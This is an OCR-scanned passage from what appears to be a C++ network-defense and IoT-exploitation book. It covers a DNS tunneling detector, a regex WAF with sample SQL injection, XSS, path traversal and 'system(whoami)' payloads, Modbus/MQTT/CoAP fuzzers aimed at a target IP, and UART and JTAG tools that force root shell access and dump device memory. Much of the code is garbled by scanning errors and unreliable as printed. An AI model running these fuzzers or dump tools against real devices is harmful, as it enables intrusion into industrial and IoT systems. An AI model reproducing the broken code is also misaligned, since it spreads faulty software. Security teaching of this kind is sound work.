for (int depth = 3; depth <= 7; ++depth) {
int correct = 0;
for (const auto& q : training_data) {
bool pred = (qg.entropy > ent) || (g.length > len) || (q.subdomain_count
— > depth);
if (pred == qg.is_tunnel) correct++;
}
double acc = static_cast<double>(correct) / training_data.size();
if (acc > best_accuracy) {
best_accuracy = acc;
entropy_threshold = ent;
length_threshold = len;
depth_threshold = depth;

}

std::cout << "Trained model: entropy_threshold=
<< ", length_threshold=" << length_threshold
<< ", depth_threshold=" << depth_threshold

n

<< entropy_threshold

<< ") accuracy=" << best_accuracy << "\n";

// Generate synthetic DNS data for testing (using std::random)
std: :vector<DNSQuery> generate_synthetic_data(int normal_count, int tunnel_count) {
std: :vector<DNSQuery> data;
std: :random_device rd;
std::mt19937 gen(rd());
std::uniform_int_distribution<> len_dist(10, 100);
std: :uniform_int_distribution<> sub_dist(2, 10);

std::normal_distribution<> entropy_dist(3.5, 1.0);

// Normal DNS queries

for (int i = @; i < normal_count; ++i) {
DNSQuery q;
g.length = len_dist(gen) % 30 + 10;
g.entropy = std::abs(entropy_dist(gen)) * 0.5;
g.subdomain_count = sub_dist(gen) % 3 + 1;
g.is_tunnel = false;
data.push_back(q);
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e

// Tunnel DNS queries (high entropy, long length, many subdomains)
for (int i = @; i < tunnel_count; ++i) {

DNSQuery q;

g.length = len_dist(gen) + 40;

g.entropy = std::abs(entropy_dist(gen)) * 1.5 + 2.0;

g.subdomain_count = sub_dist(gen) + 3;

g.is_tunnel = true;

data.push_back(q);

// Shuffle using std::shuffle
std: :shuffle(data.begin(), data.end(), gen);

return data;

int main() {

DNSDetector detector;

// Generate synthetic training data
auto training_data = detector.generate_synthetic_data(1000, 200);

detector.train(training_data);

// Generate test data
auto test_data = detector.generate_synthetic_data(200, 50);
int correct = 0;
for (const auto& g : test_data) {
bool pred = detector.classify(q);
if (pred == q.is_tunnel) correct++;
}
double accuracy = static_cast<double>(correct) / test_data.size();

std::cout << "Test accuracy: " << accuracy * 100 << "%\n";

// Example real-time detection

DNSQuery live_query{"verylongsubdomain.another.attackers.com”, 65, 5.2, 4, false};
bool is_malicious = detector.classify(live_query);

std::cout << "Live query classification: " << (is_malicious ? "MALICIOUS" : "NORMAL")

any n\nn;

<<
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return 0;

Compilation:

cl /std:ct++latest /02 dns_tunnel_detector.cpp /Fe:dns_tunnel_detector.exe
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8.5 Building an Application-Layer Firewall (Embedded WAF)

Using Optimized std::regex

A Web Application Firewall (WAF) inspects HTTP requests and blocks malicious payloads such

as SQL injection, XSS, and path traversal. The C++ standard library provides ‘std::regex* for

pattern matching, which, when combined with careful optimization (compiled regex,

precomputed pattern sets, early termination), can achieve high throughput. The following

example implements a lightweight embedded WAF that intercepts HTTP requests, matches

against a set of attack signatures, and blocks or logs suspicious requests.

// waf.c
#include
#include
#include
#include
#include
#include

#include

pp - Embedded Web Application Firewall with std::regex
<iostream>

<regex>

<string>

<vector>

<chrono>

<unordered_map>

<algorithm>

class WAF {

private:

stru

3

std:
std:

public:
WAF (

ct Rule {

std: :regex pattern;

std::string name;

std::string severity;

Rule(const std::string& pattern_str, const std::string& n, const std::string&
: pattern(pattern_str, std::regex::icase | std::regex::optimize),

name(n), severity(sev) {}

:vector<Rule> rules;

:unordered_map<std::string, uint64_t> block_stats;

) A

// Precompile attack signatures (optimized)
rules.emplace_back("union.*select.*from”, "SQLi_UNION", "HIGH");
rules.emplace_back("' or '1'='"1", "SQLi_AUTH_BYPASS", "HIGH");
rules.emplace_back("<script.*>.*</script>", "XSS_SCRIPT", "MEDIUM");
rules.emplace_back("javascript:"”, "XSS_PROTOCOL", "MEDIUM");

sev)
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rules.emplace_back(”"\\.\\./", "PATH_TRAVERSAL", "HIGH");
rules.emplace_back ("\\$\\{.*\\}", "EL_INJECTION", "MEDIUM");
rules.emplace_back("exec\\(|system\\(|passthru\\ (", "CMD_INJECTION", "CRITICAL");

// Analyze HTTP request (method, path, headers, body)
bool analyze_request(const std::string& method, const std::string& path,
const std::string& query, const std::string& body) {
std::string full_request = method + " " + path + "?" + query + " " + body;

for (const auto& rule : rules) {
std: :smatch match;
if (std::regex_search(full_request, match, rule.pattern)) {
std::cout << "[WAF] BLOCKED: " << rule.name
<< " (" << rule.severity << ") - matched: "
<< match.str(@) << "\n";
block_stats[rule.name]++;

return false; // Block

b

return true; // Allow

void print_stats() {
std::cout << "\n=== WAF Block Statistics ===\n";
for (const auto& [name, count] : block_stats) {

std::cout << name << ": " << count << " blocks\n";

}

int main() {
WAF waf;

// Simulate HTTP requests
std::vector<std::tuple<std::string, std::string, std::string, std::string>> requests = {

{"GET", "/index.html”, "id=1", ""},

{"POST", "/login"”, "", "username=admin' or '1'='1"},
{"GET", "/search”, "g=<script>alert('xss')</script>", ""},
{"GET", "/download", "file=../../../etc/passwd”, ""},

{“POST”, “/api”, nn, n{\ncmd\n:\usystem(|Wh0amil)\n}n}
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}

for (const auto& [method, path, query, body] : requests) {
bool allowed = waf.analyze_request(method, path, query, body);
std::cout << "Request: " << method << " " << path << " -> "
<< (allowed ? "ALLOWED" : "BLOCKED") << "\n";

waf.print_stats();

return 0;

Compilation:

cl /std:ct+latest /02 waf.cpp /Fe:waf.exe
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8.6 Summary

This chapter covered five advanced network defense techniques implemented in C++26 on

Windows:

* Building a high-speed IDS/IPS using ‘std::pmr* for custom memory allocation and

‘std::execution::par_unseq* for parallel packet processing.

* Developing an interactive honeypot that emulates SSH and HTTP services using Asio and

C++20 coroutines.

* A NetFlow analyzer based on ‘std::mdspan* for efficient PCAP processing and flow

aggregation.

* Implementing a DNS tunneling detection system using lightweight machine learning with

‘std::random‘ and ‘std::numeric* for statistical analysis.

* Building an application-layer firewall (embedded WAF) using optimized ‘std::regex‘ for

signature-based blocking.

Proceed to Chapter 9 to explore IoT and embedded system exploitation techniques.



IoT & Embedded System Exploitation

9.1 Reverse-Engineering Firmware (ARM, MIPS) Using
std::bit_cast and QEMU Emulation on Windows

Embedded system exploitation begins with firmware analysis. Reverse engineering firmware
requires parsing binary file formats, extracting executable code, and analyzing embedded
architectures such as ARM and MIPS. C++20 introduced ‘std::bit_cast’, a type-safe mechanism
for reinterpreting the object representation of one type as another, making it invaluable for
low-level binary parsing where memory layout and endianness matter. Combined with QEMU
user-mode emulation, we can execute and debug firmware binaries directly on Windows without

physical hardware.

Parsing Firmware Headers with std::bit_cast

The following example demonstrates a C++26 firmware parser that reads a binary firmware file,
extracts architecture information using a custom header structure, and uses ‘std::bit_cast‘ to
safely reinterpret byte buffers as structured headers. The parser validates the magic number,
extracts entry point and load address, and determines whether the firmware targets ARM or

MIPS architecture.

// firmware_parser.cpp - Safe binary parsing with std::bit_cast
#include <iostream>

#include <fstream>

#include <vector>

#include <bit>

#include <cstdint>

#include <string>

#include <iomanip>

#include <span>

168
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#include <algorithm>

#pragma pack(push, 1)
struct FirmwareHeader {

uint32_t magic; // Magic number (e.g., 0x5A4D5A4D)
uint32_t entry_point; // Entry point address

uint32_t load_address; // Load address in memory

uint32_t size; // Size of firmware image

uint8_t architecture; // 0x01 = ARM, 0x02 = MIPS, 0x03 = x86
uint8_t endianness; // 0x01 = little-endian, @0x02 = big-endian
uint16_t checksum; // Simple checksum

uint8_t reserved[16]; // Reserved for future use

3
#pragma pack(pop)

class FirmwareParser {
private:
std: :vector<uint8_t> firmware_data;

std: :string filename;

// Helper to safely read and interpret data at offset
template<typename T>
T read_at(size_t offset) const {
if (offset + sizeof(T) > firmware_data.size()) {
throw std::out_of_range("Read beyond firmware boundary”);
}
// Use std::bit_cast for safe type punning
return std::bit_cast<T>(*reinterpret_cast<const T*>(firmware_data.data() + offset));

// Byte-swap for big-endian architectures
template<typename T>
T byteswap_if_needed(T value, bool is_big_endian) const {
if (is_big_endian != (std::endian::native == std::endian::big)) {
// Use std::byteswap (C++23) for integral types
if constexpr (std::is_integral_v<T>) {
return std::byteswap(value);

}

return value;
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public:
FirmwareParser(const std::string& file) : filename(file) {
std::ifstream fs(file, std::ios::binary | std::ios::ate);
if (Ifs) {
throw std::runtime_error(”Cannot open firmware file");
}
size_t size = fs.tellg();
fs.seekg(0@, std::ios::beg);
firmware_data.resize(size);
fs.read(reinterpret_cast<charx>(firmware_data.data()), size);

fs.close();

void parse() {
if (firmware_data.size() < sizeof (FirmwareHeader)) {
std::cerr << "Firmware too small to contain valid header\n”;

return;

// Use std::bit_cast to interpret header
const FirmwareHeader* header = reinterpret_cast<const

— FirmwareHeader*>(firmware_data.data());

// Since we can't std::bit_cast directly from a pointer, we copy the bytes

FirmwareHeader hdr = std::bit_cast<FirmwareHeader>(*header);

std::cout << "=== Firmware Analysis: " << filename << " ===\n";
std::cout << "Magic: Ox" << std::hex << hdr.magic << "\n";
std::cout << "Entry Point: 0x" << hdr.entry_point << "\n";
std::cout << "Load Address: 0x" << hdr.load_address << "\n";
std::cout << "Size: " << std::dec << hdr.size << " bytes\n”;
std::cout << "Architecture: ";
switch (hdr.architecture) {

case 0x01: std::cout << "ARM"; break;

case 0x02: std::cout << "MIPS"; break;

case 0x03: std::cout << "x86"; break;

default: std::cout << "Unknown (@x" << std::hex << (int)hdr.architecture << ")";
std::cout << "\nEndianness: "

— "Little-endian"”) << "\n";

<< (hdr.endianness == 0x@02 ? "Big-endian”
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std::cout << "Checksum: 0@x" << std::hex << hdr.checksum << "\n";

// Determine if byte-swapping is needed
bool need_swap = (hdr.endianness == 0x02) && (std::endian::native ==
— std::endian::little);
if (need_swap) {
std::cout << "NOTE: Byte-swapping required for this platform\n”;

// Extract executable segments for emulation
std: :span<const uint8_t> get_code_segment() const {
size_t offset = sizeof(FirmwareHeader);
const FirmwareHeaderx header = reinterpret_cast<const
— FirmwareHeaderx>(firmware_data.data());
FirmwareHeader hdr = std::bit_cast<FirmwareHeader>(*header);
if (offset + hdr.size > firmware_data.size()) {
return std: :span<const uint8_t>();
}

return std::span<const uint8_t>(firmware_data.data() + offset, hdr.size);

uint32_t get_entry_point() const {
const FirmwareHeader* header = reinterpret_cast<const
— FirmwareHeaderx*>(firmware_data.data());

return std::bit_cast<FirmwareHeader>(*header).entry_point;

uint8_t get_architecture() const {
const FirmwareHeader* header = reinterpret_cast<const
— FirmwareHeader*>(firmware_data.data());

return std::bit_cast<FirmwareHeader>(xheader).architecture;

1

int main(int argc, charx argv[]) {
if (argc !'= 2) {
std::cerr << "Usage: " << argv[@] << " <firmware.bin>\n";

return 1;
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try {
FirmwareParser parser(argv[1]);

parser.parse();

// Extract code segment for QEMU emulation
auto code = parser.get_code_segment();
if (!code.empty()) {
std::cout << "Extracted " << code.size() << " bytes of executable code\n”;

std::cout << "Entry point: @x" << std::hex << parser.get_entry_point() << "\n";

// Architecture-specific emulation command

uint8_t arch = parser.get_architecture();

std::cout << "\n=== QEMU Emulation Command ===\n";

if (arch == 0x01) { // ARM
std::cout << "gemu-system-arm -M versatilepb -kernel firmware.bin -nographic\n";
std::cout << " OR for user-mode emulation:\n";
std::cout << "gemu-arm -L /usr/arm-linux-gnueabihf ./extracted_binary\n";

} else if (arch == 0x@02) { // MIPS
std::cout << "gemu-system-mips -M malta -kernel firmware.bin -nographic\n”;
std::cout << " OR for user-mode emulation:\n";

std::cout << "gemu-mips -L /usr/mips-linux-gnu ./extracted_binary\n";

} catch (const std::exception& e) {

std::cerr << "Error: " << e.what() << "\n";
return 1;

3

return 0;

Setting Up QEMU User-Mode Emulation on Windows

To emulate extracted firmware binaries on Windows, QEMU can be installed via the official

Windows installer or using MSYS2. The following steps are recommended:

1. Download QEMU for Windows from the official website (qemu.org) or install via

Chocolatey: ‘choco install gemu*.
2. Add the QEMU bin directory to your PATH.

3. For ARM user-mode emulation: ‘gemu-arm -L /path/to/arm/sysroot ./firmware_binary ¢
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4. For MIPS user-mode emulation: ‘gemu-mips -L /path/to/mips/sysroot ./firmware_binary

When full system emulation is required (e.g., for kernel-level firmware), use ‘gemu-system-arm*

or ‘gemu-system-mips‘ with appropriate machine definitions.

Compilation Instructions

cl /std:ct++latest /02 firmware_parser.cpp /Fe:firmware_parser.exe

firmware_parser.exe firmware.bin
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9.2 Building a Fuzzer for Modbus, MQTT, and CoAP (ICS

Protocols)

Industrial Control Systems (ICS) rely on protocols such as Modbus, MQTT, and CoAP for device
communication. These protocols are often vulnerable to injection, overflow, and denial-of-service
attacks due to weak authentication and input validation. A protocol-aware fuzzer generates

malformed but structurally valid packets to trigger edge cases and uncover vulnerabilities.

Modbus/TCP Fuzzer

Modbus is a widely used industrial protocol that operates over TCP on port 502. The protocol
uses a simple request-response model with function codes defining operations (e.g., read coils,
write registers). The following fuzzer constructs Modbus Application Protocol (MBAP) headers
and manipulates function codes, register addresses, and data payloads to test for memory

corruption and logic flaws.

// modbus_fuzzer.cpp - Modbus/TCP protocol fuzzer
#include <winsock2.h>

#include <ws2tcpip.h>

#include <iostream>

#include <vector>

#include <random>

#include <chrono>

#include <thread>
#pragma comment(lib, "ws2_32.1ib")

struct ModbusHeader {
uint16_t transaction_id;
uint16_t protocol_id;
uint16_t length;
uint8_t unit_id;

B

struct ModbusRequest {
uint8_t function_code;
uint16_t start_address;
uint16_t quantity;

3
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class ModbusFuzzer {
private:
std::mt19937 rng;
SOCKET sock;

sockaddr_in server_addr;

public:
ModbusFuzzer(const std::string& target_ip, int port = 502)
rng(std: :random_device{}()) {
WSADATA wsa;
WSAStartup (MAKEWORD(2, 2), &wsa);
sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(port);
inet_pton(AF_INET, target_ip.c_str(), &server_addr.sin_addr);

connect(sock, (sockaddrx*)&server_addr, sizeof(server_addr));

~ModbusFuzzer() {
closesocket (sock);
WSACleanup();

void send_raw(const std::vector<uint8_t>& data) {
send(sock, reinterpret_cast<const char*>(data.data()), data.size(), 0);
char buffer[1024];

recv(sock, buffer, sizeof(buffer), 0);

// Generate random function code (including invalid values)
uint8_t random_function_code() {
std::uniform_int_distribution<> dist(@, 255);

return static_cast<uint8_t>(dist(rng));

// Generate random 16-bit address
uint16_t random_address() {
std::uniform_int_distribution<> dist(@, 65535);

return static_cast<uint16_t>(dist(rng));
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// Build a Modbus request packet
std::vector<uint8_t> build_request(uint16_t tx_id, uint8_t func_code,
uint16_t start_addr, uint16_t quantity) {

std: :vector<uint8_t> packet;
// MBAP header
packet.push_back((tx_id >> 8) & OxFF);
packet.push_back(tx_id & OxFF);
packet.push_back(@x00); // Protocol ID high
packet.push_back(@x00); // Protocol ID low
packet.push_back(0x00); // Length high (will set later)
packet.push_back(@x06); // Length low (4 bytes PDU + unit ID)
packet.push_back(@x01); // Unit ID
// PDU
packet.push_back(func_code);
packet.push_back((start_addr >> 8) & OxFF);
packet.push_back(start_addr & OxFF);
packet.push_back((quantity >> 8) & OxFF);
packet.push_back(quantity & OxFF);

return packet;

// Corrupt packet by injecting random bytes
std: :vector<uint8_t> corrupt_packet(const std::vector<uint8_t>& original) {
std: :vector<uint8_t> corrupted = original;
std::uniform_int_distribution<> pos_dist(@, original.size() - 1);
std::uniform_int_distribution<> byte_dist(@, 255);
int num_corruptions = std::uniform_int_distribution<>(1, 5)(rng);
for (int i = @; i < num_corruptions; ++i) {
size_t pos = pos_dist(rng);
corrupted[pos] = static_cast<uint8_t>(byte_dist(rng));
}

return corrupted;

void fuzz(int iterations) {
std::cout << "Starting Modbus/TCP fuzzing on port 502\n";
for (int i = @; i < iterations; ++i) {
uint16_t tx_id = static_cast<uint16_t>(i & OXFFFF);
uint8_t func_code = random_function_code();

uint16_t start_addr = random_address();



177

uint16_t quantity = static_cast<uintl16_t>(std::uniform_int_distribution<>(1,
— 100)(rng));

auto packet = build_request(tx_id, func_code, start_addr, quantity);
if (i % 10 == 0) {
// Occasionally send malformed packets
packet = corrupt_packet(packet);
std::cout << "[Iteration " << i << "] Sending malformed packet\n";
} else {
std::cout << "[Iteration " << i << "] FC: 0x" << std::hex << (int)func_code
<< " Addr: " << start_addr << " Qty: " << quantity << "\n";
}
send_raw(packet);
std::this_thread: :sleep_for(std::chrono::milliseconds(100));

B

int main(int argc, charx argv[]) {
if (argc '= 2) {
std::cerr << "Usage: " << argv[@] << " <target_ip>\n";

return 1;

ModbusFuzzer fuzzer(argv[1]);
fuzzer.fuzz(1000);

return 0;

MQTT Protocol Fuzzer

MQTT is a lightweight publish-subscribe protocol used extensively in IoT deployments. The
Eclipse Paho MQTT C++ client library provides cross-platform support for Windows, enabling
the creation of a fuzzer that sends malformed CONNECT, PUBLISH, and SUBSCRIBE packets.

// mqtt_fuzzer.cpp - MQTT protocol fuzzer using Paho MQTT C++
#include <iostream>

#include <string>

#include <random>

#include <thread>

#include <chrono>
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#include <mqtt/client.h>

class MqttFuzzer {

private:
std::mt19937 rng;
std::string broker_addr;
int port;

std::string client_id;

public:
MgttFuzzer(const std::string& broker, int p = 1883)
rng(std: :random_device{}()), broker_addr(broker), port(p) {
std::uniform_int_distribution<> id_dist(@, 999999);
client_id = "fuzzer_" + std::to_string(id_dist(rng));

void fuzz_publish(int iterations) {
mqtt::client client(broker_addr + ":" + std::to_string(port), client_id);
mqtt::connect_options conn_opts;
conn_opts.set_keep_alive_interval(20);

conn_opts.set_clean_session(true);

try {
client.connect(conn_opts)->wait();
std::cout << "Connected to MQTT broker\n";

for (int i = @; i < iterations; ++i) {
// Generate random topic
std::string topic = "test/" + std::to_string(i % 100);
// Generate random payload size
std::uniform_int_distribution<> size_dist(1, 1024);
int payload_size = size_dist(rng);
std: :vector<uint8_t> payload(payload_size);
std: :generate(payload.begin(), payload.end(),
[&]1() { return static_cast<uint8_t>(rng() % 256); });

// Set QoS level (0, 1, 2, or invalid)
std::uniform_int_distribution<> qos_dist(@, 3);

int qos = qos_dist(rng);

std::cout << "[Publish " << i << "] Topic: " << topic
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<< ", QoS: " << gos << ", Size: " << payload_size << "\n";

// Publish the payload (may cause broker crash if malformed)
mgtt::message_ptr msg = mqgtt::make_message(topic, payload.data(),
— payload_size, qos, false);

client.publish(msg)->wait();

std::this_thread: :sleep_for(std::chrono::milliseconds(100));
3
} catch (const mqgtt::exception& e) {

std::cerr << "MQTT error: " << e.what() << "\n";

client.disconnect()->wait();

void fuzz_subscribe(int iterations) {
mqtt::client client(broker_addr + ":" + std::to_string(port), client_id);
mqtt::connect_options conn_opts;
conn_opts.set_keep_alive_interval(20);

conn_opts.set_clean_session(true);

try {
client.connect(conn_opts)->wait();

std::cout << "Connected to MQTT broker for subscription fuzzing\n”;

for (int i = @; i < iterations; ++i) {

// Generate random topic filter with wildcards

std::string topics[] = {
"#", "+", "sensors/+/temperature”, "device/status”,
"very/long/topic/name/with/many/levels/for/fuzzing",
"$SYS/broker/version”

1

std::uniform_int_distribution<> topic_dist(@, 5);

std::string topic = topics[topic_dist(rng)l;

// Random QoS
std::uniform_int_distribution<> qos_dist(0@, 2);

int qos = qos_dist(rng);

std::cout << "[Subscribe " << i << "] Topic: " << topic << ", QoS: " << qgos <<

Il\nll;
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client.subscribe(topic, gos)->wait();
std::this_thread: :sleep_for(std::chrono::milliseconds(50));
}
} catch (const mqgtt::exception& e) {

std::cerr << "MQTT error: " << e.what() << "\n";

client.disconnect()->wait();
Y5

int main(int argc, charx argv[]) {
if (argc !'= 3) {
std::cerr << "Usage: " << argv[@] << " <broker_ip> <port>\n";

return 1;

MgttFuzzer fuzzer(argv[1], std::stoi(argv[2]));

std::cout << "Fuzzing MQTT broker at " << argv[1] << ":" << argv[2] << "\n";
fuzzer.fuzz_publish(500);

fuzzer.fuzz_subscribe(500);

return 0;

CoAP Protocol Fuzzer

CoAP is a UDP-based protocol designed for constrained 10T devices. The libcoap library
provides both client and server implementations. The following fuzzer sends malformed CoAP

requests with random message IDs, token lengths, and payloads to test for parser vulnerabilities.

// coap_fuzzer.cpp - CoAP protocol fuzzer using libcoap
#include <coap3/coap.h>

#include <iostream>

#include <random>

#include <thread>

#include <chrono>

#include <string>

class CoapFuzzer {
private:
std::mt19937 rng;
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coap_context_t* ctx;
coap_session_t* session;
std::string server_ip;

int port;

public:
CoapFuzzer(const std::string& ip, int p = 5683)
rng(std: :random_device{}()), server_ip(ip), port(p) {
coap_startup();
ctx = coap_new_context(nullptr);

if (!'ctx) throw std::runtime_error(”Failed to create CoAP context”);

coap_address_t addr;

coap_address_init(&addr);

addr.addr.sin.sin_family = AF_INET;
addr.addr.sin.sin_port = htons(port);

inet_pton(AF_INET, ip.c_str(), &addr.addr.sin.sin_addr);

session = coap_new_client_session(ctx, nullptr, &addr, COAP_PROTO_UDP);

if (!session) throw std::runtime_error(”Failed to create CoAP session”);

~CoapFuzzer() {
coap_session_release(session);
coap_free_context(ctx);

coap_cleanup();

void send_random_request(int iterations) {
std::uniform_int_distribution<> code_dist(@, 255);
std::uniform_int_distribution<> token_len_dist(@, 8);
std::uniform_int_distribution<> msg_id_dist(@, 65535);
std::uniform_int_distribution<> payload_size_dist(0, 1024);

for (int i = @; i < iterations; ++i) {
uint8_t code = static_cast<uint8_t>(code_dist(rng));
uint8_t token_len = static_cast<uint8_t>(token_len_dist(rng));

uint16_t msg_id = static_cast<uint16_t>(msg_id_dist(rng));

// Generate random payload

int payload_size = payload_size_dist(rng);
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std: :vector<uint8_t> payload(payload_size);
std: :generate(payload.begin(), payload.end(),
[&]() { return static_cast<uint8_t>(rng() % 256); });

std::cout << "[Request " << i << "] Code: 0x" << std::hex << (int)code
<< ", Token Len: " << std::dec << (int)token_len
<< ") Msg ID: " << msg_id

<< ", Payload Size: " << payload_size << "\n";

coap_pdu_t* pdu = coap_pdu_init(COAP_MESSAGE_CON, code, msg_id,
coap_session_max_pdu_size(session));

if (!pdu) continue;

// Set token
std: :vector<uint8_t> token(token_len);
std: :generate(token.begin(), token.end(),
[&]() { return static_cast<uint8_t>(rng() % 256); });
coap_add_token(pdu, token.data(), token_len);

// Add payload
if (payload_size > @) {
coap_add_data(pdu, payload_size, payload.data());

coap_send(session, pdu);

std::this_thread: :sleep_for(std::chrono::milliseconds(100));

e

int main(int argc, charx argv[]) {
if (argc !'= 2) {
std::cerr << "Usage: " << argv[@] << " <target_ip>\n";

return 1;

CoapFuzzer fuzzer(argv[1]);
fuzzer.send_random_request (500) ;

return 0;
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Compilation Instructions

# Modbus fuzzer (requires Winsock)

cl /std:c++latest /02 modbus_fuzzer.cpp /Fe:modbus_fuzzer.exe /link ws2_32.1ib

# MQTT fuzzer (requires Eclipse Paho MQTT C++ library)

# Download paho-mqtt-cpp and link accordingly

cl /std:c++latest /02 /Ipaho-mgtt-cpp/include mqtt_fuzzer.cpp /Fe:mgtt_fuzzer.exe /link
— paho-mgttpp3.1lib paho-mqtt3a.lib ws2_32.1ib

# CoAP fuzzer (requires libcoap)

# Install libcoap via vcpkg: vcpkg install libcoap

cl /std:c++latest /02 /Ilibcoap/include coap_fuzzer.cpp /Fe:coap_fuzzer.exe /link coap-3.1lib
— ws2_32.1ib
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9.3 Software-Based Exploitation of UART and JTAG Using
Windows Serial API and std::span

UART (Universal Asynchronous Receiver-Transmitter) and JTAG (Joint Test Action Group) are
hardware debug interfaces commonly exposed on IoT devices. Physical access to these interfaces
allows attackers to read memory, dump firmware, and bypass software protections. Using a
USB-to-TTL serial adapter or a JTAG debugger, a Windows PC can interact with these interfaces
via the Windows Serial API. C++26’s ‘std::span‘ provides bounds-safe views into data buffers,

ensuring that read and write operations remain within allocated memory.

UART Exploitation Framework

UART interfaces often provide a root shell or bootloader console. The following C++26 program
establishes a serial connection, automates login sequences, and issues commands to extract

sensitive information.

// uart_exploit.cpp - UART serial communication with std::span
#include <windows.h>

#include <iostream>

#include <string>

#include <vector>

#include <span>

#include <thread>

#include <chrono>

#include <algorithm>

class UARTExploit {
private:
HANDLE hSerial;

std::string com_port;

bool set_comm_state(DWORD baud_rate, BYTE byte_size, BYTE stop_bits, BYTE parity) {
DCB dcb = {0};
dcb.DCBlength = sizeof(DCB);
if (!GetCommState(hSerial, &dcb)) return false;
dcb.BaudRate = baud_rate;

dcb.ByteSize = byte_size;
dcb.StopBits = stop_bits;
dcb.Parity = parity;
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dcb.fDtrControl = DTR_CONTROL_ENABLE;
dcb.fRtsControl = RTS_CONTROL_ENABLE;
return SetCommState(hSerial, &dcb) != 0;

bool set_timeouts(DWORD read_interval, DWORD read_const, DWORD read_multiplier) {
COMMTIMEOUTS timeouts = {0};
timeouts.ReadIntervalTimeout = read_interval;
timeouts.ReadTotalTimeoutConstant = read_const;
timeouts.ReadTotalTimeoutMultiplier = read_multiplier;

return SetCommTimeouts(hSerial, &timeouts) !'= 0;

public:
UARTExploit(const std::string& port, DWORD baud = 115200)

: com_port(port), hSerial (INVALID_HANDLE_VALUE) {

std::string full_port = "\\\\.\\" + port;

hSerial = CreateFileA(full_port.c_str(),
GENERIC_READ | GENERIC_WRITE,
@, NULL, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, NULL);

if (hSerial == INVALID_HANDLE_VALUE) {

throw std::runtime_error("Failed to open serial port");

if (!set_comm_state(baud, 8, ONESTOPBIT, NOPARITY)) {
CloseHandle(hSerial);

throw std::runtime_error(”Failed to configure serial port"”);

if (!set_timeouts(50, 50, 10)) {
CloseHandle(hSerial);

throw std::runtime_error(”Failed to set timeouts");

~UARTExploit() {
if (hSerial != INVALID_HANDLE_VALUE) {
CloseHandle(hSerial);
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// Write data using std::span for safety
void write(std::span<const uint8_t> data) {
DWORD bytes_written = 0;
if (!WriteFile(hSerial, data.data(), data.size(), &bytes_written, NULL)) {
throw std::runtime_error("Write failed");
}
if (bytes_written != data.size()) {

throw std::runtime_error(”"Incomplete write");

void write_string(const std::string& str) {
std: :vector<uint8_t> data(str.begin(), str.end());
write(std::span<const uint8_t>(data));

// Read data into a std::span
size_t read(std::span<uint8_t> buffer) {
DWORD bytes_read = 0;
if (!'ReadFile(hSerial, buffer.data(), buffer.size(), &bytes_read, NULL)) {
throw std::runtime_error(”"Read failed");

3

return bytes_read;

std::string read_line() {
std: :vector<uint8_t> buffer(256);
size_t bytes = read(std::span<uint8_t>(buffer));
return std::string(buffer.begin(), buffer.begin() + bytes);

// Automate UART login sequence
bool login(const std::string& username, const std::string& password,
const std::string& prompt = "login:") {
std::string response;
for (int attempt = @; attempt < 3; ++attempt) {
response = read_line();
if (response.find(prompt) != std::string::npos) {
write_string(username + "\r\n");

response = read_line();
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if (response.find(”"Password:") != std::string::npos) {
write_string(password + "\r\n");
response = read_line();
if (response.find("$") != std::string::npos ||
response.find("#") != std::string::npos) {
std::cout << "Login successful!\n";

return true;

3
std::this_thread: :sleep_for(std::chrono::milliseconds(1000));

b

return false;

// Execute command and capture output
std::string execute_command(const std::string& cmd) {
write_string(cmd + "\r\n");
std::this_thread: :sleep_for(std::chrono::milliseconds(500));
std::string output;
for (int i = 0; i < 10; ++i) {
std::string line = read_line();
if (line.empty()) break;
output += line + "\n";
}

return output;

3

int main(int argc, charx argv[]) {
if (argc '= 2) {
std::cerr << "Usage: " << argv[@] << " <COM_port>\n";
std::cerr << "Example: " << argv[@] << " COM3\n";

return 1;

try {

UARTExploit uart(argv[1], 115200);

// Attempt automatic login
if (uart.login("root”, "", "login:")) {
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std::cout << "=== UART Shell Access Granted ===\n";
std::string cmd;
while (true) {

std::cout << "> ",

std::getline(std::cin, cmd);

if (cmd == "exit") break;

std::string output = uart.execute_command(cmd);

std: :cout << output;
}

} else {

std::cout << "Login failed. Attempting memory dump via bootloader...\n";
// Send break condition to enter bootloader
SetCommBreak(uart.get_handle());
std::this_thread: :sleep_for(std::chrono::milliseconds(100));
ClearCommBreak(uart.get_handle());

// Read bootloader prompt

std::string boot_prompt = uart.read_line();

if (boot_prompt.find("uboot”) != std::string::npos) {
std::cout << "U-Boot detected. Dumping memory...\n";
uart.write_string(”"md 0x80000000 0x100\r\n");
std::string dump = uart.read_line();

std::cout << dump;

}
}
} catch (const std::exception& e) {
std::cerr << "Error: " << e.what() << "\n";
return 1;
}
return 0;

JTAG Exploitation via OpenOCD

JTAG provides full access to the device’s debug interface, allowing reading/writing of memory,
setting breakpoints, and dumping firmware. OpenOCD (Open On-Chip Debugger) runs on
Windows and communicates with JTAG adapters. The following C++ program interfaces with

OpenOCD via TCP socket to automate memory extraction.

// jtag_exploit.cpp - JTAG memory dumping via OpenOCD

#include <winsock2.h>
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#include <ws2tcpip.h>

#include <iostream>

#include <string>

#include <vector>

#include <thread>

#include

<chrono>

#pragma comment(lib, "ws2_32.1ib")

class OpenOCDClient {

private:

SOCKET sock;

sockaddr_in server_addr;

public:

OpenOCDClient(const std::string& host = "localhost”, int port = 4444)

WSADATA wsa;

WSAStartup (MAKEWORD(2, 2), &wsa);

sock = socket(AF_INET, SOCK_STREAM, 0);
server_addr.sin_family = AF_INET;

server_addr.sin_port = htons(port);

inet_pton(AF_INET, host.c_str(), &server_addr.sin_addr);

connect(sock, (sockaddr*)&server_addr, sizeof(server_addr));

~0pen0CDClient() {

closesocket (sock);
WSACleanup();

void send_command(const std::string& cmd) {

std:

send(sock, cmd.c_str(), cmd.size(), 0);
send(sock, "\n", 1, 0);

:string receive_response() {
char buffer[4096];
int bytes = recv(sock, buffer, sizeof(buffer) - 1, 0);
if (bytes > 0) {
buffer[bytes] = '\0';
return std::string(buffer);
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nn

return "";

void dump_memory(uint32_t address, uint32_t size, const std::string& output_file) {
send_command("halt");
std::this_thread: :sleep_for(std::chrono::milliseconds(100));

receive_response();

std::cout << "Dumping memory from @x" << std::hex << address

<< " size " << std::dec << size << " bytes\n";

std: :vector<uint8_t> dump;

for (uint32_t offset = @; offset < size; offset += 1024) {
uint32_t chunk = std::min<uint32_t>(1024, size - offset);
send_command("mdw 0x" + std::to_string(address + offset) + " " +
— std::to_string(chunk / 4));
std::string response = receive_response();

// Parse hex output and append to dump

